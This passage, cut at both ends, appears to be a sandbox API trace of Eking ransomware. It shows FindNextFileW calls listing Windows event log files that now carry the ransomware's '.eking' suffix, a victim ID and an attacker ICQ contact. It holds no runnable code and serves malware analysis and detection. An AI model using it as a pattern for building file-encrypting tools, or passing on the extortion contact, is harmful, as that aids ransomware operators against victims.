ftCreationTime.dwLowDateTime=0x7b2ad3d3, ftCreationTime.dwHighDateTime=0x1d63ff4, ftLastAccessTime.dwLowDateTime=0x7b2ad3d3, ftLastAccessTime.dwHighDateTime=0x1d63ff4, ftLastWriteTime.dwLowDateTime=0x7b2d353b, ftLastWriteTime.dwHighDateTime=0x1d63ff4, nFileSizeHigh=0x0, nFileSizeLow=0x11152, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="Microsoft-Windows-DeviceSetupManager%4Operational.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="MIB78A~1.EKI")) returned 1 [0276.003] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2aef788 | out: lpFindFileData=0x2aef788*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b2d353b, ftCreationTime.dwHighDateTime=0x1d63ff4, ftLastAccessTime.dwLowDateTime=0x7b2d353b, ftLastAccessTime.dwHighDateTime=0x1d63ff4, ftLastWriteTime.dwLowDateTime=0x7b47e5a3, ftLastWriteTime.dwHighDateTime=0x1d63ff4, nFileSizeHigh=0x0, nFileSizeLow=0x11142, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="Microsoft-Windows-Dhcp-Client%4Admin.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="MI855D~1.EKI")) returned 1 [0276.004] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2aef788 | out: lpFindFileData=0x2aef788*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b47e5a3, ftCreationTime.dwHighDateTime=0x1d63ff4, ftLastAccessTime.dwLowDateTime=0x7b47e5a3, ftLastAccessTime.dwHighDateTime=0x1d63ff4, ftLastWriteTime.dwLowDateTime=0x7b49d0f7, ftLastWriteTime.dwHighDateTime=0x1d63ff4, nFileSizeHigh=0x0, nFileSizeLow=0x11142, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="Microsoft-Windows-Dhcpv6-Client%4Admin.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="MI378D~1.EKI")) returned 1 [0276.004] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2aef788 | out: lpFindFileData=0x2aef788*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b49d0f7, ftCreationTime.dwHighDateTime=0x1d63ff4, ftLastAccessTime.dwLowDateTime=0x7b49d0f7, ftLastAccessTime.dwHighDateTime=0x1d63ff4, ftLastWriteTime.dwLowDateTime=0x7b6d968f, ftLastWriteTime.dwHighDateTime=0x1d63ff4, nFileSizeHigh=0x0, nFileSizeLow=0x11152, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="Microsoft-Windows-Diagnosis-DPS%4Operational.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="MIA17C~1.EKI")) returned 1 [0276.004] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2aef788 | out: lpFindFileData=0x2aef788*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b5a82d3, ftCreationTime.dwHighDateTime=0x1d63ff4, ftLastAccessTime.dwLowDateTime=0x7b5a82d3, ftLastAccessTime.dwHighDateTime=0x1d63ff4, ftLastWriteTime.dwLowDateTime=0x7b5d393b, ftLastWriteTime.dwHighDateTime=0x1d63ff4, nFileSizeHigh=0x0, nFileSizeLow=0x11162, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="Microsoft-Windows-Diagnostics-Performance%4Operational.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="MICD15~1.EKI")) returned 1 [0276.004] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2aef788 | out: lpFindFileData=0x2aef788*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b7980a2, ftCreationTime.dwHighDateTime=0x1d63ff4, ftLastAccessTime.dwLowDateTime=0x7b7980a2, ftLastAccessTime.dwHighDateTime=0x1d63ff4, ftLastWriteTime.dwLowDateTime=0x7b8ef678, ftLastWriteTime.dwHighDateTime=0x1d63ff4, nFileSizeHigh=0x0, nFileSizeLow=0x11142, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="Microsoft-Windows-GroupPolicy%4Operational.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="MI642D~1.EKI")) returned 1 [0276.004] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2aef788 | out: lpFindFileData=0x2aef788*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b918f2a, ftCreationTime.dwHighDateTime=0x1d63ff4, ftLastAccessTime.dwLowDateTime=0x7b918f2a, ftLastAccessTime.dwHighDateTime=0x1d63ff4, ftLastWriteTime.dwLowDateTime=0x7b987ecf, ftLastWriteTime.dwHighDateTime=0x1d63ff4, nFileSizeHigh=0x0, nFileSizeLow=0x11142, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="Microsoft-Windows-HotspotAuth%4Operational.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="MI8FF2~1.EKI")) returned 1 [0276.004] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2aef788 | out: lpFindFileData=0x2aef788*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7bb9cf12, ftCreationTime.dwHighDateTime=0x1d63ff4, ftLastAccessTime.dwLowDateTime=0x7bb9cf12, ftLastAccessTime.dwHighDateTime=0x1d63ff4, ftLastWriteTime.dwLowDateTime=0x7be05e6c, ftLastWriteTime.dwHighDateTime=0x1d63ff4, nFileSizeHigh=0x0, nFileSizeLow=0x11152, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="MI0C2B~1.EKI")) returned 1 [0276.004] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2aef788 | out: lpFindFileData=0x2aef788*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7bc0b8db, ftCreationTime.dwHighDateTime=0x1d63ff4, ftLastAccessTime.dwLowDateTime=0x7bc0b8db, ftLastAccessTime.dwHighDateTime=0x1d63ff4, ftLastWriteTime.dwLowDateTime=0x7bc4cedc, ftLastWriteTime.dwHighDateTime=0x1d63ff4, nFileSizeHigh=0x0, nFileSizeLow=0x11152, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="Microsoft-Windows-International%4Operational.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="MICDC0~1.EKI")) returned 1 [0276.004] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2aef788 | out: lpFindFileData=0x2aef788*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7bf530fb, ftCreationTime.dwHighDateTime=0x1d63ff4, ftLastAccessTime.dwLowDateTime=0x7bf530fb, ftLastAccessTime.dwHighDateTime=0x1d63ff4, ftLastWriteTime.dwLowDateTime=0x7bf530fb, ftLastWriteTime.dwHighDateTime=0x1d63ff4, nFileSizeHigh=0x0, nFileSizeLow=0x11142, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="Microsoft-Windows-Kernel-Boot%4Operational.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="MI5B91~1.EKI")) returned 1 [0276.004] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2aef788 | out: lpFindFileData=0x2aef788*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7bf7d52b, ftCreationTime.dwHighDateTime=0x1d63ff4, ftLastAccessTime.dwLowDateTime=0x7bf7d52b, ftLastAccessTime.dwHighDateTime=0x1d63ff4, ftLastWriteTime.dwLowDateTime=0x7bf9f5ad, ftLastWriteTime.dwHighDateTime=0x1d63ff4, nFileSizeHigh=0x0, nFileSizeLow=0x11152, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="Microsoft-Windows-Kernel-EventTracing%4Admin.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="MI98B9~1.EKI")) returned 1 [0276.005] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2aef788 | out: lpFindFileData=0x2aef788*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7bf9f5ad, ftCreationTime.dwHighDateTime=0x1d63ff4, ftLastAccessTime.dwLowDateTime=0x7bf9f5ad, ftLastAccessTime.dwHighDateTime=0x1d63ff4, ftLastWriteTime.dwLowDateTime=0x7c5e195e, ftLastWriteTime.dwHighDateTime=0x1d63ff4, nFileSizeHigh=0x0, nFileSizeLow=0x101152, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="Microsoft-Windows-Kernel-PnP%4Configuration.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="MI6895~1.EKI")) returned 1 [0276.005] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2aef788 | out: lpFindFileData=0x2aef788*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7bfc7550, ftCreationTime.dwHighDateTime=0x1d63ff4, ftLastAccessTime.dwLowDateTime=0x7bfc7550, ftLastAccessTime.dwHighDateTime=0x1d63ff4, ftLastWriteTime.dwLowDateTime=0x7bfefa84, ftLastWriteTime.dwHighDateTime=0x1d63ff4, nFileSizeHigh=0x0, nFileSizeLow=0x11162, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="MI351D~1.EKI")) returned 1 [0276.005] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2aef788 | out: lpFindFileData=0x2aef788*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7bfefa84, ftCreationTime.dwHighDateTime=0x1d63ff4, ftLastAccessTime.dwLowDateTime=0x7bfefa84, ftLastAccessTime.dwHighDateTime=0x1d63ff4, ftLastWriteTime.dwLowDateTime=0x7c011ca7, ftLastWriteTime.dwHighDateTime=0x1d63ff4, nFileSizeHigh=0x0, nFileSizeLow=0x11152, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="MI7BCE~1.EKI")) returned 1 [0276.005] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2aef788 | out: lpFindFileData=0x2aef788*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c011ca7, ftCreationTime.dwHighDateTime=0x1d63ff4, ftLastAccessTime.dwLowDateTime=0x7c011ca7, ftLastAccessTime.dwHighDateTime=0x1d63ff4, ftLastWriteTime.dwLowDateTime=0x7c1b56ec, ftLastWriteTime.dwHighDateTime=0x1d63ff4, nFileSizeHigh=0x0, nFileSizeLow=0x11152, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="MIFDCA~1.EKI")) returned 1 [0276.005] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2aef788 | out: lpFindFileData=0x2aef788*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c1b56ec, ftCreationTime.dwHighDateTime=0x1d63ff4, ftLastAccessTime.dwLowDateTime=0x7c1b56ec, ftLastAccessTime.dwHighDateTime=0x1d63ff4, ftLastWriteTime.dwLowDateTime=0x7c1db846, ftLastWriteTime.dwHighDateTime=0x1d63ff4, nFileSizeHigh=0x0, nFileSizeLow=0x11142, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="Microsoft-Windows-Kernel-WHEA%4Errors.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="MI52E0~1.EKI")) returned 1 [0276.006] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2aef788 | out: lpFindFileData=0x2aef788*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c201be9, ftCreationTime.dwHighDateTime=0x1d63ff4, ftLastAccessTime.dwLowDateTime=0x7c201be9, ftLastAccessTime.dwHighDateTime=0x1d63ff4, ftLastWriteTime.dwLowDateTime=0x7c201be9, ftLastWriteTime.dwHighDateTime=0x1d63ff4, nFileSizeHigh=0x0, nFileSizeLow=0x11142, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="Microsoft-Windows-Kernel-WHEA%4Operational.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="MID035~1.EKI")) returned 1 [0276.006] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2aef788 | out: lpFindFileData=0x2aef788*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c417d7e, ftCreationTime.dwHighDateTime=0x1d63ff4, ftLastAccessTime.dwLowDateTime=0x7c417d7e, ftLastAccessTime.dwHighDateTime=0x1d63ff4, ftLastWriteTime.dwLowDateTime=0x7c43dde9, ftLastWriteTime.dwHighDateTime=0x1d63ff4, nFileSizeHigh=0x0, nFileSizeLow=0x11152, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="Microsoft-Windows-Known Folders API Service.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="MIC49B~1.EKI")) returned 1 [0276.006] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2aef788 | out: lpFindFileData=0x2aef788*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c43dde9, ftCreationTime.dwHighDateTime=0x1d63ff4, ftLastAccessTime.dwLowDateTime=0x7c43dde9, ftLastAccessTime.dwHighDateTime=0x1d63ff4, ftLastWriteTime.dwLowDateTime=0x7c468083, ftLastWriteTime.dwHighDateTime=0x1d63ff4, nFileSizeHigh=0x0, nFileSizeLow=0x11142, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="Microsoft-Windows-LiveId%4Operational.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="MIB7F5~1.EKI")) returned 1 [0276.006] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2aef788 | out: lpFindFileData=0x2aef788*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c468083, ftCreationTime.dwHighDateTime=0x1d63ff4, ftLastAccessTime.dwLowDateTime=0x7c468083, ftLastAccessTime.dwHighDateTime=0x1d63ff4, ftLastWriteTime.dwLowDateTime=0x7c653f7a, ftLastWriteTime.dwHighDateTime=0x1d63ff4, nFileSizeHigh=0x0, nFileSizeLow=0x11132, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="Microsoft-Windows-MUI%4Admin.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="MIE830~1.EKI")) returned 1 [0276.302] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2aef788 | out: lpFindFileData=0x2aef788*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c5e195e, ftCreationTime.dwHighDateTime=0x1d63ff4, ftLastAccessTime.dwLowDateTime=0x7c5e195e, ftLastAccessTime.dwHighDateTime=0x1d63ff4, ftLastWriteTime.dwLowDateTime=0x7c607abc, ftLastWriteTime.dwHighDateTime=0x1d63ff4, nFileSizeHigh=0x0, nFileSizeLow=0x11132, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="Microsoft-Windows-MUI%4Operational.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="MI4BE7~1.EKI")) returned 1 [0276.302] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2aef788 | out: lpFindFileData=0x2aef788*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c607abc, ftCreationTime.dwHighDateTime=0x1d63ff4, ftLastAccessTime.dwLowDateTime=0x7c607abc, ftLastAccessTime.dwHighDateTime=0x1d63ff4, ftLastWriteTime.dwLowDateTime=0x7c62dd5c, ftLastWriteTime.dwHighDateTime=0x1d63ff4, nFileSizeHigh=0x0, nFileSizeLow=0x11142, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="Microsoft-Windows-NCSI%4Operational.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="MIE3A3~1.EKI")) returned 1 [0276.302] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2aef788 | out: lpFindFileData=0x2aef788*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c62dd5c, ftCreationTime.dwHighDateTime=0x1d63ff4, ftLastAccessTime.dwLowDateTime=0x7c62dd5c, ftLastAccessTime.dwHighDateTime=0x1d63ff4, ftLastWriteTime.dwLowDateTime=0x7c7f7933, ftLastWriteTime.dwHighDateTime=0x1d63ff4, nFileSizeHigh=0x0, nFileSizeLow=0x11152, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="Microsoft-Windows-NetworkProfile%4Operational.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="MI4D3A~1.EKI")) returned 1 [0276.303] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2aef788 | out: lpFindFileData=0x2aef788*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c653f7a, ftCreationTime.dwHighDateTime=0x1d63ff4, ftLastAccessTime.dwLowDateTime=0x7c653f7a, ftLastAccessTime.dwHighDateTime=0x1d63ff4, ftLastWriteTime.dwLowDateTime=0x7c6a039d, ftLastWriteTime.dwHighDateTime=0x1d63ff4, nFileSizeHigh=0x0, nFileSizeLow=0x11142, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="Microsoft-Windows-Ntfs%4Operational.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="MI5B5F~1.EKI")) returned 1 [0276.303] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2aef788 | out: lpFindFileData=0x2aef788*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c6a039d, ftCreationTime.dwHighDateTime=0x1d63ff4, ftLastAccessTime.dwLowDateTime=0x7c6a039d, ftLastAccessTime.dwHighDateTime=0x1d63ff4, ftLastWriteTime.dwLowDateTime=0x7c6a039d, ftLastWriteTime.dwHighDateTime=0x1d63ff4, nFileSizeHigh=0x0, nFileSizeLow=0x11132, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="Microsoft-Windows-Ntfs%4WHC.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="MI1E3B~1.EKI")) returned 1 [0276.303] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2aef788 | out: lpFindFileData=0x2aef788*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c7f7933, ftCreationTime.dwHighDateTime=0x1d63ff4, ftLastAccessTime.dwLowDateTime=0x7c7f7933, ftLastAccessTime.dwHighDateTime=0x1d63ff4, ftLastWriteTime.dwLowDateTime=0x7c81dabd, ftLastWriteTime.dwHighDateTime=0x1d63ff4, nFileSizeHigh=0x0, nFileSizeLow=0x11182, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="MI56BE~1.EKI")) returned 1 [0276.303] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2aef788 | out: lpFindFileData=0x2aef788*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c81dabd, ftCreationTime.dwHighDateTime=0x1d63ff4, ftLastAccessTime.dwLowDateTime=0x7c81dabd, ftLastAccessTime.dwHighDateTime=0x1d63ff4, ftLastWriteTime.dwLowDateTime=0x7c9c1613, ftLastWriteTime.dwHighDateTime=0x1d63ff4, nFileSizeHigh=0x0, nFileSizeLow=0x11142, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="Microsoft-Windows-ReadyBoost%4Operational.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="MI74E3~1.EKI")) returned 1 [0276.303] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2aef788 | out: lpFindFileData=0x2aef788*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c843e17, ftCreationTime.dwHighDateTime=0x1d63ff4, ftLastAccessTime.dwLowDateTime=0x7c843e17, ftLastAccessTime.dwHighDateTime=0x1d63ff4, ftLastWriteTime.dwLowDateTime=0x7c843e17, ftLastWriteTime.dwHighDateTime=0x1d63ff4, nFileSizeHigh=0x0, nFileSizeLow=0x11172, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="MIB53F~1.EKI")) returned 1 [0276.303] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2aef788 | out: lpFindFileData=0x2aef788*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c86a07e, ftCreationTime.dwHighDateTime=0x1d63ff4, ftLastAccessTime.dwLowDateTime=0x7c86a07e, ftLastAccessTime.dwHighDateTime=0x1d63ff4, ftLastWriteTime.dwLowDateTime=0x7cc49dec, ftLastWriteTime.dwHighDateTime=0x1d63ff4, nFileSizeHigh=0x0, nFileSizeLow=0x101142, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="Microsoft-Windows-SettingSync%4Debug.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="MI8A03~1.EKI")) returned 1 [0276.303] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2aef788 | out: lpFindFileData=0x2aef788*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c9e7803, ftCreationTime.dwHighDateTime=0x1d63ff4, ftLastAccessTime.dwLowDateTime=0x7c9e7803, ftLastAccessTime.dwHighDateTime=0x1d63ff4, ftLastWriteTime.dwLowDateTime=0x7ca0da0c, ftLastWriteTime.dwHighDateTime=0x1d63ff4, nFileSizeHigh=0x0, nFileSizeLow=0x11142, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="Microsoft-Windows-SettingSync%4Operational.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="MI0E6D~1.EKI")) returned 1 [0276.304] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2aef788 | out: lpFindFileData=0x2aef788*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7ca0da0c, ftCreationTime.dwHighDateTime=0x1d63ff4, ftLastAccessTime.dwLowDateTime=0x7ca0da0c, ftLastAccessTime.dwHighDateTime=0x1d63ff4, ftLastWriteTime.dwLowDateTime=0x7cbb13c1, ftLastWriteTime.dwHighDateTime=0x1d63ff4, nFileSizeHigh=0x0, nFileSizeLow=0x11142, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="Microsoft-Windows-Shell-Core%4ActionCenter.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="MI11EA~1.EKI")) returned 1 [0276.304] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2aef788 | out: lpFindFileData=0x2aef788*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7cbd76b6, ftCreationTime.dwHighDateTime=0x1d63ff4, ftLastAccessTime.dwLowDateTime=0x7cbd76b6, ftLastAccessTime.dwHighDateTime=0x1d63ff4, ftLastWriteTime.dwLowDateTime=0x7cbfd7fc, ftLastWriteTime.dwHighDateTime=0x1d63ff4, nFileSizeHigh=0x0, nFileSizeLow=0x11142, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="Microsoft-Windows-Shell-Core%4Operational.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="MIA216~1.EKI")) returned 1 [0276.304] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2aef788 | out: lpFindFileData=0x2aef788*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7cbfd7fc, ftCreationTime.dwHighDateTime=0x1d63ff4, ftLastAccessTime.dwLowDateTime=0x7cbfd7fc, ftLastAccessTime.dwHighDateTime=0x1d63ff4, ftLastWriteTime.dwLowDateTime=0x7ce1704a, ftLastWriteTime.dwHighDateTime=0x1d63ff4, nFileSizeHigh=0x0, nFileSizeLow=0x11142, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="Microsoft-Windows-SmbClient%4Connectivity.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="MI7CD7~1.EKI")) returned 1 [0276.304] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2aef788 | out: lpFindFileData=0x2aef788*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7cf1ea1b, ftCreationTime.dwHighDateTime=0x1d63ff4, ftLastAccessTime.dwLowDateTime=0x7cf1ea1b, ftLastAccessTime.dwHighDateTime=0x1d63ff4, ftLastWriteTime.dwLowDateTime=0x7cf6b042, ftLastWriteTime.dwHighDateTime=0x1d63ff4, nFileSizeHigh=0x0, nFileSizeLow=0x11142, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="Microsoft-Windows-SMBClient%4Operational.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="MIF5BB~1.EKI")) returned 1 [0276.304] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2aef788 | out: lpFindFileData=0x2aef788*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7cf1ea1b, ftCreationTime.dwHighDateTime=0x1d63ff4, ftLastAccessTime.dwLowDateTime=0x7cf1ea1b, ftLastAccessTime.dwHighDateTime=0x1d63ff4, ftLastWriteTime.dwLowDateTime=0x7cf44bf8, ftLastWriteTime.dwHighDateTime=0x1d63ff4, nFileSizeHigh=0x0, nFileSizeLow=0x11142, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="Microsoft-Windows-SmbClient%4Security.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="MI9587~1.EKI")) returned 1 [0276.305] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2aef788 | out: lpFindFileData=0x2aef788*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7cf6b042, ftCreationTime.dwHighDateTime=0x1d63ff4, ftLastAccessTime.dwLowDateTime=0x7cf6b042, ftLastAccessTime.dwHighDateTime=0x1d63ff4, ftLastWriteTime.dwLowDateTime=0x7cfbc6cf, ftLastWriteTime.dwHighDateTime=0x1d63ff4, nFileSizeHigh=0x0, nFileSizeLow=0x11132, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="Microsoft-Windows-SMBServer%4Audit.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="MI3F6D~1.EKI")) returned 1 [0276.305] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2aef788 | out: lpFindFileData=0x2aef788*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7cf911a1, ftCreationTime.dwHighDateTime=0x1d63ff4, ftLastAccessTime.dwLowDateTime=0x7cf911a1, ftLastAccessTime.dwHighDateTime=0x1d63ff4, ftLastWriteTime.dwLowDateTime=0x7cfbc6cf, ftLastWriteTime.dwHighDateTime=0x1d63ff4, nFileSizeHigh=0x0, nFileSizeLow=0x11142, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="Microsoft-Windows-SMBServer%4Connectivity.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="MIF5A9~1.EKI")) returned 1 [0276.305] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2aef788 | out: lpFindFileData=0x2aef788*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7cfdd555, ftCreationTime.dwHighDateTime=0x1d63ff4, ftLastAccessTime.dwLowDateTime=0x7cfdd555, ftLastAccessTime.dwHighDateTime=0x1d63ff4, ftLastWriteTime.dwLowDateTime=0x7d00374a, ftLastWriteTime.dwHighDateTime=0x1d63ff4, nFileSizeHigh=0x0, nFileSizeLow=0x11142, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="Microsoft-Windows-SMBServer%4Operational.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="MI40FD~1.EKI")) returned 1 [0276.305] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2aef788 | out: lpFindFileData=0x2aef788*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7cfdd555, ftCreationTime.dwHighDateTime=0x1d63ff4, ftLastAccessTime.dwLowDateTime=0x7cfdd555, ftLastAccessTime.dwHighDateTime=0x1d63ff4, ftLastWriteTime.dwLowDateTime=0x7d09c07a, ftLastWriteTime.dwHighDateTime=0x1d63ff4, nFileSizeHigh=0x0, nFileSizeLow=0x11142, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="Microsoft-Windows-SMBServer%4Security.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="MI8B3E~1.EKI")) returned 1 [0276.305] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2aef788 | out: lpFindFileData=0x2aef788*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d029a36, 